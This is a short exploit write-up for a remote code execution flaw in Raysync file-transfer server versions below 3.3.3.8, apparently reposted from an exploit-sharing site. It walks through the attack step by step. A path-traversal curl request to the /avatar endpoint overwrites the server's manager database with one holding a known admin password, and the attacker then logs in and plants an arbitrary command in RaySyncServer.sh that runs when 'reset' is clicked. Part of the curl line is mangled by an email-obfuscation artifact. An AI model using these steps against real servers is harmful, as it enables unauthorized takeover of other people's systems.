Raysync 3.3.3.8 - Remote Code Execution Exploit--
Kod:
# Exploit Title: Raysync 3.3.3.8 - RCE
# Exploit Author: XiaoLong Zhu
# Vendor Homepage: www.raysync.io
# Version: below 3.3.3.8
# Tested on: Linux
step1: run RaysyncServer.sh to build a web application on the local
environment, set admin password to 123456 , which will be write to
manage.db file.
step2: curl "[email protected]" http://[raysync
ip]/avatar?account=1&UserId=/../../../../config/manager.db
to override remote manage.db file in server.
step3: login in admin portal with admin/123456.
step4: create a normal file with all permissions in scope.
step5: modify RaySyncServer.sh ,add arbitrary evil command.
step6: trigger rce with clicking "reset" button
# 0day.today [2020-12-19] #